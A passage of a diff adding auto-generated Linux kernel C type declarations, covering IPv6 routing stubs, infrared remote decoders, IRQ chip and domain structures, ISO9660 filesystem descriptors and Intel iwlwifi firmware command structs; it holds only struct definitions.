inet6_ifaddr *ifa; + unsigned long scorebits[1]; + int scopedist; + int matchlen; +}; + +struct ipv6_sr_hdr { + __u8 nexthdr; + __u8 hdrlen; + __u8 type; + __u8 segments_left; + __u8 first_segment; + __u8 flags; + __u16 tag; + struct in6_addr segments[0]; +}; + +struct neigh_table; + +struct ipv6_stub { + int (*ipv6_sock_mc_join)(struct sock *, int, const struct in6_addr *); + int (*ipv6_sock_mc_drop)(struct sock *, int, const struct in6_addr *); + struct dst_entry * (*ipv6_dst_lookup_flow)(struct net *, const struct sock *, struct flowi6 *, const struct in6_addr *); + int (*ipv6_route_input)(struct sk_buff *); + struct fib6_table * (*fib6_get_table)(struct net *, u32); + int (*fib6_lookup)(struct net *, int, struct flowi6 *, struct fib6_result *, int); + int (*fib6_table_lookup)(struct net *, struct fib6_table *, int, struct flowi6 *, struct fib6_result *, int); + void (*fib6_select_path)(const struct net *, struct fib6_result *, struct flowi6 *, int, bool, const struct sk_buff *, int); + u32 (*ip6_mtu_from_fib6)(const struct fib6_result *, const struct in6_addr *, const struct in6_addr *); + int (*fib6_nh_init)(struct net *, struct fib6_nh *, struct fib6_config *, gfp_t, struct netlink_ext_ack *); + void (*fib6_nh_release)(struct fib6_nh *); + void (*fib6_nh_release_dsts)(struct fib6_nh *); + void (*fib6_update_sernum)(struct net *, struct fib6_info *); + int (*ip6_del_rt)(struct net *, struct fib6_info *, bool); + void (*fib6_rt_update)(struct net *, struct fib6_info *, struct nl_info *); + void (*udpv6_encap_enable)(void); + void (*ndisc_send_na)(struct net_device *, const struct in6_addr *, const struct in6_addr *, bool, bool, bool, bool); + struct neigh_table *nd_tbl; + int (*ipv6_fragment)(struct net *, struct sock *, struct sk_buff *, int (*)(struct net *, struct sock *, struct sk_buff *)); + struct net_device * (*ipv6_dev_find)(struct net *, const struct in6_addr *, struct net_device *); + int (*ip6_xmit)(const struct sock *, struct sk_buff *, struct flowi6 *, __u32, struct ipv6_txoptions *, int, u32); +}; + +struct ipv6_txoptions { + refcount_t refcnt; + int tot_len; + __u16 opt_flen; + __u16 opt_nflen; + struct ipv6_opt_hdr *hopopt; + struct ipv6_opt_hdr *dst0opt; + struct ipv6_rt_hdr *srcrt; + struct ipv6_opt_hdr *dst1opt; + struct callback_head rcu; +}; + +struct ipv6hdr { + __u8 priority: 4; + __u8 version: 4; + __u8 flow_lbl[3]; + __be16 payload_len; + __u8 nexthdr; + __u8 hop_limit; + union { + struct { + struct in6_addr saddr; + struct in6_addr daddr; + }; + struct { + struct in6_addr saddr; + struct in6_addr daddr; + } addrs; + }; +}; + +struct ir_raw_event { + union { + u32 duration; + u32 carrier; + }; + u8 duty_cycle; + unsigned int pulse: 1; + unsigned int overflow: 1; + unsigned int timeout: 1; + unsigned int carrier_report: 1; +}; + +struct nec_dec { + int state; + unsigned int count; + u32 bits; + bool is_nec_x; + bool necx_repeat; +}; + +struct rc5_dec { + int state; + u32 bits; + unsigned int count; + bool is_rc5x; +}; + +struct rc6_dec { + int state; + u8 header; + u32 body; + bool toggle; + unsigned int count; + unsigned int wanted_bits; +}; + +struct sony_dec { + int state; + u32 bits; + unsigned int count; +}; + +struct jvc_dec { + int state; + u16 bits; + u16 old_bits; + unsigned int count; + bool first; + bool toggle; +}; + +struct sanyo_dec { + int state; + unsigned int count; + u64 bits; +}; + +struct sharp_dec { + int state; + unsigned int count; + u32 bits; + unsigned int pulse_len; +}; + +struct mce_kbd_dec { + spinlock_t keylock; + struct timer_list rx_timeout; + int state; + u8 header; + u32 body; + unsigned int count; + unsigned int wanted_bits; +}; + +struct xmp_dec { + int state; + unsigned int count; + u32 durations[16]; +}; + +struct rc_dev; + +struct ir_raw_event_ctrl { + struct list_head list; + struct task_struct *thread; + struct { + union { + struct __kfifo kfifo; + struct ir_raw_event *type; + const struct ir_raw_event *const_type; + char (*rectype)[0]; + struct ir_raw_event *ptr; + const struct ir_raw_event *ptr_const; + }; + struct ir_raw_event buf[512]; + } kfifo; + ktime_t last_event; + struct rc_dev *dev; + spinlock_t edge_spinlock; + struct timer_list edge_handle; + struct ir_raw_event prev_ev; + struct ir_raw_event this_ev; + struct nec_dec nec; + struct rc5_dec rc5; + struct rc6_dec rc6; + struct sony_dec sony; + struct jvc_dec jvc; + struct sanyo_dec sanyo; + struct sharp_dec sharp; + struct mce_kbd_dec mce_kbd; + struct xmp_dec xmp; +}; + +struct ir_raw_handler { + struct list_head list; + u64 protocols; + int (*decode)(struct rc_dev *, struct ir_raw_event); + int (*encode)(enum rc_proto, u32, struct ir_raw_event *, unsigned int); + u32 carrier; + u32 min_timeout; + int (*raw_register)(struct rc_dev *); + int (*raw_unregister)(struct rc_dev *); +}; + +struct ir_raw_timings_manchester { + unsigned int leader_pulse; + unsigned int leader_space; + unsigned int clock; + unsigned int invert: 1; + unsigned int trailer_space; +}; + +struct ir_raw_timings_pd { + unsigned int header_pulse; + unsigned int header_space; + unsigned int bit_pulse; + unsigned int bit_space[2]; + unsigned int trailer_pulse; + unsigned int trailer_space; + unsigned int msb_first: 1; +}; + +struct ir_raw_timings_pl { + unsigned int header_pulse; + unsigned int bit_space; + unsigned int bit_pulse[2]; + unsigned int trailer_space; + unsigned int msb_first: 1; +}; + +struct irq_affinity { + unsigned int pre_vectors; + unsigned int post_vectors; + unsigned int nr_sets; + unsigned int set_size[4]; + void (*calc_sets)(struct irq_affinity *, unsigned int); + void *priv; +}; + +struct irq_affinity_desc { + struct cpumask mask; + unsigned int is_managed: 1; +}; + +struct irq_affinity_devres { + unsigned int count; + unsigned int irq[0]; +}; + +struct irq_affinity_notify { + unsigned int irq; + struct kref kref; + struct work_struct work; + void (*notify)(struct irq_affinity_notify *, const cpumask_t *); + void (*release)(struct kref *); +}; + +struct uv_alloc_info { + int limit; + int blade; + unsigned long offset; + char *name; +}; + +struct msi_desc; + +struct irq_alloc_info { + enum irq_alloc_type type; + u32 flags; + u32 devid; + irq_hw_number_t hwirq; + const struct cpumask *mask; + struct msi_desc *desc; + void *data; + union { + struct ioapic_alloc_info ioapic; + struct uv_alloc_info uv; + }; +}; + +typedef struct irq_alloc_info msi_alloc_info_t; + +struct irq_data; + +struct msi_msg; + +struct irq_chip { + const char *name; + unsigned int (*irq_startup)(struct irq_data *); + void (*irq_shutdown)(struct irq_data *); + void (*irq_enable)(struct irq_data *); + void (*irq_disable)(struct irq_data *); + void (*irq_ack)(struct irq_data *); + void (*irq_mask)(struct irq_data *); + void (*irq_mask_ack)(struct irq_data *); + void (*irq_unmask)(struct irq_data *); + void (*irq_eoi)(struct irq_data *); + int (*irq_set_affinity)(struct irq_data *, const struct cpumask *, bool); + int (*irq_retrigger)(struct irq_data *); + int (*irq_set_type)(struct irq_data *, unsigned int); + int (*irq_set_wake)(struct irq_data *, unsigned int); + void (*irq_bus_lock)(struct irq_data *); + void (*irq_bus_sync_unlock)(struct irq_data *); + void (*irq_suspend)(struct irq_data *); + void (*irq_resume)(struct irq_data *); + void (*irq_pm_shutdown)(struct irq_data *); + void (*irq_calc_mask)(struct irq_data *); + void (*irq_print_chip)(struct irq_data *, struct seq_file *); + int (*irq_request_resources)(struct irq_data *); + void (*irq_release_resources)(struct irq_data *); + void (*irq_compose_msi_msg)(struct irq_data *, struct msi_msg *); + void (*irq_write_msi_msg)(struct irq_data *, struct msi_msg *); + int (*irq_get_irqchip_state)(struct irq_data *, enum irqchip_irq_state, bool *); + int (*irq_set_irqchip_state)(struct irq_data *, enum irqchip_irq_state, bool); + int (*irq_set_vcpu_affinity)(struct irq_data *, void *); + void (*ipi_send_single)(struct irq_data *, unsigned int); + void (*ipi_send_mask)(struct irq_data *, const struct cpumask *); + int (*irq_nmi_setup)(struct irq_data *); + void (*irq_nmi_teardown)(struct irq_data *); + unsigned long flags; +}; + +struct irq_chip_regs { + unsigned long enable; + unsigned long disable; + unsigned long mask; + unsigned long ack; + unsigned long eoi; + unsigned long type; +}; + +struct irq_desc; + +typedef void (*irq_flow_handler_t)(struct irq_desc *); + +struct irq_chip_type { + struct irq_chip chip; + struct irq_chip_regs regs; + irq_flow_handler_t handler; + u32 type; + u32 mask_cache_priv; + u32 *mask_cache; +}; + +struct irq_chip_generic { + raw_spinlock_t lock; + void *reg_base; + u32 (*reg_readl)(void *); + void (*reg_writel)(u32, void *); + void (*suspend)(struct irq_chip_generic *); + void (*resume)(struct irq_chip_generic *); + unsigned int irq_base; + unsigned int irq_cnt; + u32 mask_cache; + u32 wake_enabled; + u32 wake_active; + unsigned int num_ct; + void *private; + unsigned long installed; + unsigned long unused; + struct irq_domain *domain; + struct list_head list; + struct irq_chip_type chip_types[0]; +}; + +struct irq_common_data { + unsigned int state_use_accessors; + unsigned int node; + void *handler_data; + struct msi_desc *msi_desc; + cpumask_var_t affinity; + cpumask_var_t effective_affinity; +}; + +struct irq_data { + u32 mask; + unsigned int irq; + irq_hw_number_t hwirq; + struct irq_common_data *common; + struct irq_chip *chip; + struct irq_domain *domain; + struct irq_data *parent_data; + void *chip_data; +}; + +struct irqstat; + +struct irqaction; + +struct irq_desc { + struct irq_common_data irq_common_data; + struct irq_data irq_data; + struct irqstat __attribute__((btf_type_tag("percpu"))) *kstat_irqs; + irq_flow_handler_t handle_irq; + struct irqaction *action; + unsigned int status_use_accessors; + unsigned int core_internal_state__do_not_mess_with_it; + unsigned int depth; + unsigned int wake_depth; + unsigned int tot_count; + unsigned int irq_count; + unsigned long last_unhandled; + unsigned int irqs_unhandled; + atomic_t threads_handled; + int threads_handled_last; + raw_spinlock_t lock; + struct cpumask *percpu_enabled; + const struct cpumask *percpu_affinity; + const struct cpumask *affinity_hint; + struct irq_affinity_notify *affinity_notify; + cpumask_var_t pending_mask; + unsigned long threads_oneshot; + atomic_t threads_active; + wait_queue_head_t wait_for_threads; + unsigned int nr_actions; + unsigned int no_suspend_depth; + unsigned int cond_suspend_depth; + unsigned int force_resume_depth; + struct proc_dir_entry *dir; + struct callback_head rcu; + struct kobject kobj; + struct mutex request_mutex; + int parent_irq; + struct module *owner; + const char *name; + struct hlist_node resend_node; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +typedef struct irq_desc *vector_irq_t[256]; + +struct irq_desc_devres { + unsigned int from; + unsigned int cnt; +}; + +struct irq_devres { + unsigned int irq; + void *dev_id; +}; + +struct irq_domain_chip_generic; + +struct msi_parent_ops; + +struct irq_domain { + struct list_head link; + const char *name; + const struct irq_domain_ops *ops; + void *host_data; + unsigned int flags; + unsigned int mapcount; + struct mutex mutex; + struct irq_domain *root; + struct fwnode_handle *fwnode; + enum irq_domain_bus_token bus_token; + struct irq_domain_chip_generic *gc; + struct device *dev; + struct device *pm_dev; + struct irq_domain *parent; + const struct msi_parent_ops *msi_parent_ops; + void (*exit)(struct irq_domain *); + irq_hw_number_t hwirq_max; + unsigned int revmap_size; + struct xarray revmap_tree; + struct irq_data __attribute__((btf_type_tag("rcu"))) *revmap[0]; +}; + +struct irq_domain_chip_generic { + unsigned int irqs_per_chip; + unsigned int num_chips; + unsigned int irq_flags_to_clear; + unsigned int irq_flags_to_set; + enum irq_gc_flags gc_flags; + void (*exit)(struct irq_chip_generic *); + struct irq_chip_generic *gc[0]; +}; + +struct irq_domain_chip_generic_info { + const char *name; + irq_flow_handler_t handler; + unsigned int irqs_per_chip; + unsigned int num_ct; + unsigned int irq_flags_to_clear; + unsigned int irq_flags_to_set; + enum irq_gc_flags gc_flags; + int (*init)(struct irq_chip_generic *); + void (*exit)(struct irq_chip_generic *); +}; + +struct irq_domain_info { + struct fwnode_handle *fwnode; + unsigned int domain_flags; + unsigned int size; + irq_hw_number_t hwirq_max; + int direct_max; + unsigned int hwirq_base; + unsigned int virq_base; + enum irq_domain_bus_token bus_token; + const char *name_suffix; + const struct irq_domain_ops *ops; + void *host_data; + struct irq_domain *parent; + struct irq_domain_chip_generic_info *dgc_info; + int (*init)(struct irq_domain *); + void (*exit)(struct irq_domain *); +}; + +struct irq_fwspec; + +struct irq_domain_ops { + int (*match)(struct irq_domain *, struct device_node *, enum irq_domain_bus_token); + int (*select)(struct irq_domain *, struct irq_fwspec *, enum irq_domain_bus_token); + int (*map)(struct irq_domain *, unsigned int, irq_hw_number_t); + void (*unmap)(struct irq_domain *, unsigned int); + int (*xlate)(struct irq_domain *, struct device_node *, const u32 *, unsigned int, unsigned long *, unsigned int *); + int (*alloc)(struct irq_domain *, unsigned int, unsigned int, void *); + void (*free)(struct irq_domain *, unsigned int, unsigned int); + int (*activate)(struct irq_domain *, struct irq_data *, bool); + void (*deactivate)(struct irq_domain *, struct irq_data *); + int (*translate)(struct irq_domain *, struct irq_fwspec *, unsigned long *, unsigned int *); +}; + +struct irq_fwspec { + struct fwnode_handle *fwnode; + int param_count; + u32 param[16]; +}; + +struct irq_glue { + struct irq_affinity_notify notify; + struct cpu_rmap *rmap; + u16 index; +}; + +struct irq_info { + u8 bus; + u8 devfn; + struct { + u8 link; + u16 bitmap; + } __attribute__((packed)) irq[4]; + u8 slot; + u8 rfu; +}; + +struct irq_info___2 { + struct hlist_node node; + int irq; + spinlock_t lock; + struct list_head *head; +}; + +struct irq_matrix { + unsigned int matrix_bits; + unsigned int alloc_start; + unsigned int alloc_end; + unsigned int alloc_size; + unsigned int global_available; + unsigned int global_reserved; + unsigned int systembits_inalloc; + unsigned int total_allocated; + unsigned int online_maps; + struct cpumap __attribute__((btf_type_tag("percpu"))) *maps; + unsigned long *system_map; + unsigned long scratch_map[0]; +}; + +struct irq_override_cmp { + const struct dmi_system_id *system; + unsigned char irq; + unsigned char triggering; + unsigned char polarity; + unsigned char shareable; + bool override; +}; + +struct irq_pin_list { + struct list_head list; + int apic; + int pin; +}; + +struct irq_router { + char *name; + u16 vendor; + u16 device; + int (*get)(struct pci_dev *, struct pci_dev *, int); + int (*set)(struct pci_dev *, struct pci_dev *, int, int); + int (*lvl)(struct pci_dev *, struct pci_dev *, int, int); +}; + +struct irq_router_handler { + u16 vendor; + int (*probe)(struct irq_router *, struct pci_dev *, u16); +}; + +struct irq_routing_table { + u32 signature; + u16 version; + u16 size; + u8 rtr_bus; + u8 rtr_devfn; + u16 exclusive_irqs; + u16 rtr_vendor; + u16 rtr_device; + u32 miniport_data; + u8 rfu[11]; + u8 checksum; + struct irq_info slots[0]; +}; + +struct irq_stack { + char stack[16384]; +}; + +typedef irqreturn_t (*irq_handler_t)(int, void *); + +struct irqaction { + irq_handler_t handler; + void *dev_id; + void __attribute__((btf_type_tag("percpu"))) *percpu_dev_id; + struct irqaction *next; + irq_handler_t thread_fn; + struct task_struct *thread; + struct irqaction *secondary; + unsigned int irq; + unsigned int flags; + unsigned long thread_flags; + unsigned long thread_mask; + const char *name; + struct proc_dir_entry *dir; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct irqchip_fwid { + struct fwnode_handle fwnode; + unsigned int type; + char *name; + phys_addr_t *pa; +}; + +struct irqentry_state { + union { + bool exit_rcu; + bool lockdep; + }; +}; + +typedef struct irqentry_state irqentry_state_t; + +struct irqstat { + unsigned int cnt; +}; + +struct irqtrace_events { + unsigned int irq_events; + unsigned long hardirq_enable_ip; + unsigned long hardirq_disable_ip; + unsigned int hardirq_enable_event; + unsigned int hardirq_disable_event; + unsigned long softirq_disable_ip; + unsigned long softirq_enable_ip; + unsigned int softirq_disable_event; + unsigned int softirq_enable_event; +}; + +struct irt_routing_table { + u32 signature; + u8 size; + u8 used; + u16 exclusive_irqs; + struct irq_info slots[0]; +}; + +struct iso_directory_record { + __u8 length[1]; + __u8 ext_attr_length[1]; + __u8 extent[8]; + __u8 size[8]; + __u8 date[7]; + __u8 flags[1]; + __u8 file_unit_size[1]; + __u8 interleave[1]; + __u8 volume_sequence_number[4]; + __u8 name_len[1]; + char name[0]; +}; + +struct iso_inode_info { + unsigned long i_iget5_block; + unsigned long i_iget5_offset; + unsigned int i_first_extent; + unsigned char i_file_format; + unsigned char i_format_parm[3]; + unsigned long i_next_section_block; + unsigned long i_next_section_offset; + off_t i_section_size; + struct inode vfs_inode; +}; + +struct iso_primary_descriptor { + __u8 type[1]; + char id[5]; + __u8 version[1]; + __u8 unused1[1]; + char system_id[32]; + char volume_id[32]; + __u8 unused2[8]; + __u8 volume_space_size[8]; + __u8 unused3[32]; + __u8 volume_set_size[4]; + __u8 volume_sequence_number[4]; + __u8 logical_block_size[4]; + __u8 path_table_size[8]; + __u8 type_l_path_table[4]; + __u8 opt_type_l_path_table[4]; + __u8 type_m_path_table[4]; + __u8 opt_type_m_path_table[4]; + __u8 root_directory_record[34]; + char volume_set_id[128]; + char publisher_id[128]; + char preparer_id[128]; + char application_id[128]; + char copyright_file_id[37]; + char abstract_file_id[37]; + char bibliographic_file_id[37]; + __u8 creation_date[17]; + __u8 modification_date[17]; + __u8 expiration_date[17]; + __u8 effective_date[17]; + __u8 file_structure_version[1]; + __u8 unused4[1]; + __u8 application_data[512]; + __u8 unused5[653]; +}; + +struct iso_supplementary_descriptor { + __u8 type[1]; + char id[5]; + __u8 version[1]; + __u8 flags[1]; + char system_id[32]; + char volume_id[32]; + __u8 unused2[8]; + __u8 volume_space_size[8]; + __u8 escape[32]; + __u8 volume_set_size[4]; + __u8 volume_sequence_number[4]; + __u8 logical_block_size[4]; + __u8 path_table_size[8]; + __u8 type_l_path_table[4]; + __u8 opt_type_l_path_table[4]; + __u8 type_m_path_table[4]; + __u8 opt_type_m_path_table[4]; + __u8 root_directory_record[34]; + char volume_set_id[128]; + char publisher_id[128]; + char preparer_id[128]; + char application_id[128]; + char copyright_file_id[37]; + char abstract_file_id[37]; + char bibliographic_file_id[37]; + __u8 creation_date[17]; + __u8 modification_date[17]; + __u8 expiration_date[17]; + __u8 effective_date[17]; + __u8 file_structure_version[1]; + __u8 unused4[1]; + __u8 application_data[512]; + __u8 unused5[653]; +}; + +struct iso_volume_descriptor { + __u8 type[1]; + char id[5]; + __u8 version[1]; + __u8 data[2041]; +}; + +struct isofs_fid { + u32 block; + u16 offset; + u16 parent_offset; + u32 generation; + u32 parent_block; + u32 parent_generation; +}; + +struct isofs_iget5_callback_data { + unsigned long block; + unsigned long offset; +}; + +struct isofs_options { + unsigned int rock: 1; + unsigned int joliet: 1; + unsigned int cruft: 1; + unsigned int hide: 1; + unsigned int showassoc: 1; + unsigned int nocompress: 1; + unsigned int overriderockperm: 1; + unsigned int uid_set: 1; + unsigned int gid_set: 1; + unsigned char map; + unsigned char check; + unsigned int blocksize; + umode_t fmode; + umode_t dmode; + kgid_t gid; + kuid_t uid; + char *iocharset; + s32 session; + s32 sbsector; +}; + +struct nls_table; + +struct isofs_sb_info { + unsigned long s_ninodes; + unsigned long s_nzones; + unsigned long s_firstdatazone; + unsigned long s_log_zone_size; + unsigned long s_max_size; + int s_rock_offset; + s32 s_sbsector; + unsigned char s_joliet_level; + unsigned char s_mapping; + unsigned char s_check; + unsigned char s_session; + unsigned int s_high_sierra: 1; + unsigned int s_rock: 2; + unsigned int s_cruft: 1; + unsigned int s_nocompress: 1; + unsigned int s_hide: 1; + unsigned int s_showassoc: 1; + unsigned int s_overriderockperm: 1; + unsigned int s_uid_set: 1; + unsigned int s_gid_set: 1; + umode_t s_fmode; + umode_t s_dmode; + kgid_t s_gid; + kuid_t s_uid; + struct nls_table *s_nls_iocharset; +}; + +struct isr_statistics { + u32 hw; + u32 sw; + u32 err_code; + u32 sch; + u32 alive; + u32 rfkill; + u32 ctkill; + u32 wakeup; + u32 rx; + u32 tx; + u32 unhandled; +}; + +struct itco_wdt_platform_data { + char name[32]; + unsigned int version; + bool no_reboot_use_pmc; +}; + +struct iter_state { + struct seq_net_private p; + unsigned int bucket; +}; + +struct itimerspec64 { + struct timespec64 it_interval; + struct timespec64 it_value; +}; + +struct iw_node_attr { + struct kobj_attribute kobj_attr; + int nid; +}; + +struct iwl5000_channel_switch_cmd { + u8 band; + u8 expect_beacon; + __le16 channel; + __le32 rxon_flags; + __le32 rxon_filter_flags; + __le32 switch_time; + __le32 reserved[52]; +}; + +struct iwl6000_channel_switch_cmd { + u8 band; + u8 expect_beacon; + __le16 channel; + __le32 rxon_flags; + __le32 rxon_filter_flags; + __le32 switch_time; + __le32 reserved[78]; +}; + +struct iwl_ac_qos { + __le16 cw_min; + __le16 cw_max; + u8 aifsn; + u8 fifos_mask; + __le16 edca_txop; +}; + +struct iwl_ac_qos___2 { + __le16 cw_min; + __le16 cw_max; + u8 aifsn; + u8 reserved1; + __le16 edca_txop; +}; + +struct iwl_add_sta_resp { + u8 status; +}; + +struct sta_id_modify { + u8 addr[6]; + __le16 reserved1; + u8 sta_id; + u8 modify_mask; + __le16 reserved2; +}; + +struct iwl_keyinfo { + __le16 key_flags; + u8 tkip_rx_tsc_byte2; + u8 reserved1; + __le16 tkip_rx_ttak[5]; + u8 key_offset; + u8 reserved2; + u8 key[16]; + __le64 tx_secur_seq_cnt; + __le64 hw_tkip_mic_rx_key; + __le64 hw_tkip_mic_tx_key; +}; + +struct iwl_addsta_cmd { + u8 mode; + u8 reserved[3]; + struct sta_id_modify sta; + struct iwl_keyinfo key; + __le32 station_flags; + __le32 station_flags_msk; + __le16 tid_disable_tx; + __le16 legacy_reserved; + u8 add_immediate_ba_tid; + u8 remove_immediate_ba_tid; + __le16 add_immediate_ba_ssn; + __le16 sleep_tx_count; + __le16 reserved2; +} __attribute__((packed)); + +struct iwl_aes_rsc_tsc { + struct aes_sc unicast_rsc[16]; + struct aes_sc multicast_rsc[16]; + struct aes_sc tsc; +}; + +struct iwl_alive_data { + bool valid; + u8 subtype; +}; + +struct iwl_lmac_debug_addrs { + __le32 error_event_table_ptr; + __le32 log_event_table_ptr; + __le32 cpu_register_ptr; + __le32 dbgm_config_ptr; + __le32 alive_counter_ptr; + __le32 scd_base_ptr; + __le32 st_fwrd_addr; + __le32 st_fwrd_size; +}; + +struct iwl_lmac_alive { + __le32 ucode_major; + __le32 ucode_minor; + u8 ver_subtype; + u8 ver_type; + u8 mac; + u8 opt; + __le32 timestamp; + struct iwl_lmac_debug_addrs dbg_ptrs; +}; + +struct iwl_umac_debug_addrs { + __le32 error_info_addr; + __le32 dbg_print_buff_addr; +}; + +struct iwl_umac_alive { + __le32 umac_major; + __le32 umac_minor; + struct iwl_umac_debug_addrs dbg_ptrs; +}; + +struct iwl_alive_ntf_v3 { + __le16 status; + __le16 flags; + struct iwl_lmac_alive lmac_data; + struct iwl_umac_alive umac_data; +}; + +struct iwl_alive_ntf_v4 { + __le16 status; + __le16 flags; + struct iwl_lmac_alive lmac_data[2]; + struct iwl_umac_alive umac_data; +}; + +struct iwl_sku_id { + __le32 data[3]; +}; + +struct iwl_alive_ntf_v5 { + __le16 status; + __le16 flags; + struct iwl_lmac_alive lmac_data[2]; + struct iwl_umac_alive umac_data; + struct iwl_sku_id sku_id; +}; + +struct iwl_imr_alive_info { + __le64 base_addr; + __le32 size; + __le32 enabled; +}; + +struct iwl_alive_ntf_v6 { + __le16 status; + __le16 flags; + struct iwl_lmac_alive lmac_data[2]; + struct iwl_umac_alive umac_data; + struct iwl_sku_id sku_id; + struct iwl_imr_alive_info imr; +}; + +struct iwl_alive_resp { + u8 ucode_minor; + u8 ucode_major; + __le16 reserved1; + u8 sw_rev[8]; + u8 ver_type; + u8 ver_subtype; + __le16 reserved2; + __le32 log_event_table_ptr; + __le32 error_event_table_ptr; + __le32 timestamp; + __le32 is_valid; +}; + +struct tkip_sc { + __le16 iv16; + __le16 pad; + __le32 iv32; +}; + +struct iwl_tkip_rsc_tsc { + struct tkip_sc unicast_rsc[16]; + struct tkip_sc multicast_rsc[16]; + struct tkip_sc tsc; +}; + +union iwl_all_tsc_rsc { + struct iwl_tkip_rsc_tsc tkip; + struct iwl_aes_rsc_tsc aes; +}; + +struct iwl_allow_uapsd_iface_iterator_data { + struct ieee80211_vif *current_vif; + bool allow_uapsd; +}; + +struct iwl_rx_cmd_buffer { + struct page *_page; + int _offset; + bool _page_stolen; + u32 _rx_page_order; + unsigned int truesize; +}; + +struct iwl_mvm; + +struct iwl_async_handler_entry { + struct list_head list; + struct iwl_rx_cmd_buffer rxb; + enum iwl_rx_handler_context context; + void (*fn)(struct iwl_mvm *, struct iwl_rx_cmd_buffer *); +}; + +struct iwl_ba_window_status_notif { + __le64 bitmap[16]; + __le16 ra_tid[16]; + __le32 start_seq_num[16]; + __le16 mpdu_rx_count[16]; +}; + +struct iwl_bar_frame_release { + __le32 sta_tid; + __le32 ba_info; +}; + +struct iwl_base_params { + unsigned int wd_timeout; + u16 eeprom_size; + u16 max_event_log_size; + u8 pll_cfg: 1; + u8 shadow_ram_support: 1; + u8 shadow_reg_enable: 1; + u8 pcie_l1_allowed: 1; + u8 apmg_wake_up_wa: 1; + u8 scd_chain_ext_wa: 1; + u16 num_of_queues; + u32 max_tfd_queue_size; + u8 max_ll_items; + u8 led_compensation; +}; + +struct iwl_basic_bt_cmd { + u8 flags; + u8 ledtime; + u8 max_kill; + u8 bt3_timer_t7_value; + __le32 kill_ack_mask; + __le32 kill_cts_mask; + u8 bt3_prio_sample_time; + u8 bt3_timer_t2_value; + __le16 bt4_reaction_time; + __le32 bt3_lookup_table[12]; + u8 reduce_txpower; + u8 reserved; + __le16 valid; +}; + +struct iwl_beacon_filter_cmd { + __le32 bf_energy_delta; + __le32 bf_roaming_energy_delta; + __le32 bf_roaming_state; + __le32 bf_temp_threshold; + __le32 bf_temp_fast_filter; + __le32 bf_temp_slow_filter; + __le32 bf_enable_beacon_filter; + __le32 bf_debug_flag; + __le32 bf_escape_timer; + __le32 ba_escape_timer; + __le32 ba_enable_beacon_abort; + __le32 bf_threshold_absolute_low[2]; + __le32 bf_threshold_absolute_high[2]; +}; + +struct iwl_binding_cmd { + __le32 id_and_color; + __le32 action; + __le32 macs[3]; + __le32 phy; + __le32 lmac_id; +}; + +struct iwl_binding_cmd_v1 { + __le32 id_and_color; + __le32 action; + __le32 macs[3]; + __le32 phy; +}; + +struct iwl_bss_find_iter_data { + struct ieee80211_vif *vif; + u32 macid; +}; + +struct iwl_bss_iter_data { + struct ieee80211_vif *vif; + bool error; +}; + +struct iwl_bt_cmd { + u8 flags; + u8 lead_time; + u8 max_kill; + u8 reserved; + __le32 kill_ack_mask; + __le32 kill_cts_mask; +}; + +struct iwl_bt_cmd_v1 { + struct iwl_basic_bt_cmd basic; + u8 prio_boost; + u8 tx_prio_boost; + __le16 rx_prio_boost; +}; + +struct iwl_bt_cmd_v2 { + struct iwl_basic_bt_cmd basic; + __le32 prio_boost; + u8 reserved; + u8 tx_prio_boost; + __le16 rx_prio_boost; +}; + +struct iwl_bt_coex_ci_cmd { + __le64 bt_primary_ci; + __le32 primary_ch_phy_id; + __le64 bt_secondary_ci; + __le32 secondary_ch_phy_id; +} __attribute__((packed)); + +struct iwl_bt_coex_cmd { + __le32 mode; + __le32 enabled_modules; +}; + +struct iwl_bt_coex_prio_table_cmd { + u8 prio_tbl[16]; +}; + +struct iwl_bt_coex_prof_old_notif { + __le32 mbox_msg[4]; + __le32 msg_idx; + __le32 bt_ci_compliance; + __le32 primary_ch_lut; + __le32 secondary_ch_lut; + __le32 bt_activity_grading; + u8 ttc_status; + u8 rrc_status; + u8 wifi_loss_low_rssi; + u8 wifi_loss_mid_high_rssi; +}; + +struct iwl_bt_uart_msg { + u8 header; + u8 frame1; + u8 frame2; + u8 frame3; + u8 frame4; + u8 frame5; + u8 frame6; + u8 frame7; +}; + +struct iwl_bt_coex_profile_notif { + struct iwl_bt_uart_msg last_bt_uart_msg; + u8 bt_status; + u8 bt_traffic_load; + u8 bt_ci_compliance; + u8 reserved; +}; + +struct iwl_bt_coex_profile_notif___2 { + u8 wifi_loss_low_rssi[6]; + u8 wifi_loss_mid_high_rssi[6]; +}; + +struct iwl_bt_coex_prot_env_cmd { + u8 action; + u8 type; + u8 reserved[2]; +}; + +struct iwl_bt_coex_reduced_txp_update_cmd { + __le32 reduced_txp; +}; + +struct iwl_bt_iterator_data { + struct iwl_bt_coex_prof_old_notif *notif; + struct iwl_mvm *mvm; + struct ieee80211_chanctx_conf *primary; + struct ieee80211_chanctx_conf *secondary; + bool primary_ll; + u8 primary_load; + u8 secondary_load; +}; + +struct statistics_rx_phy { + __le32 ina_cnt; + __le32 fina_cnt; + __le32 plcp_err; + __le32 crc32_err; + __le32 overrun_err; + __le32 early_overrun_err; + __le32 crc32_good; + __le32 false_alarm_cnt; + __le32 fina_sync_err_cnt; + __le32 sfd_timeout; + __le32 fina_timeout; + __le32 unresponded_rts; + __le32 rxe_frame_limit_overrun; + __le32 sent_ack_cnt; + __le32 sent_cts_cnt; + __le32 sent_ba_rsp_cnt; + __le32 dsp_self_kill; + __le32 mh_format_err; + __le32 re_acq_main_rssi_sum; + __le32 reserved3; +}; + +struct statistics_rx_non_phy { + __le32 bogus_cts; + __le32 bogus_ack; + __le32 non_bssid_frames; + __le32 filtered_frames; + __le32 non_channel_beacons; + __le32 channel_beacons; + __le32 num_missed_bcon; + __le32 adc_rx_saturation_time; + __le32 ina_detection_search_time; + __le32 beacon_silence_rssi_a; + __le32 beacon_silence_rssi_b; + __le32 beacon_silence_rssi_c; + __le32 interference_data_flag; + __le32 channel_load; + __le32 dsp_false_alarms; + __le32 beacon_rssi_a; + __le32 beacon_rssi_b; + __le32 beacon_rssi_c; + __le32 beacon_energy_a; + __le32 beacon_energy_b; + __le32 beacon_energy_c; +}; + +struct statistics_rx_non_phy_bt { + struct statistics_rx_non_phy common; + __le32 num_bt_kills; + __le32 reserved[2]; +}; + +struct statistics_rx_ht_phy { + __le32 plcp_err; + __le32 overrun_err; + __le32 early_overrun_err; + __le32 crc32_good; + __le32 crc32_err; + __le32 mh_format_err; + __le32 agg_crc32_good; + __le32 agg_mpdu_cnt; + __le32 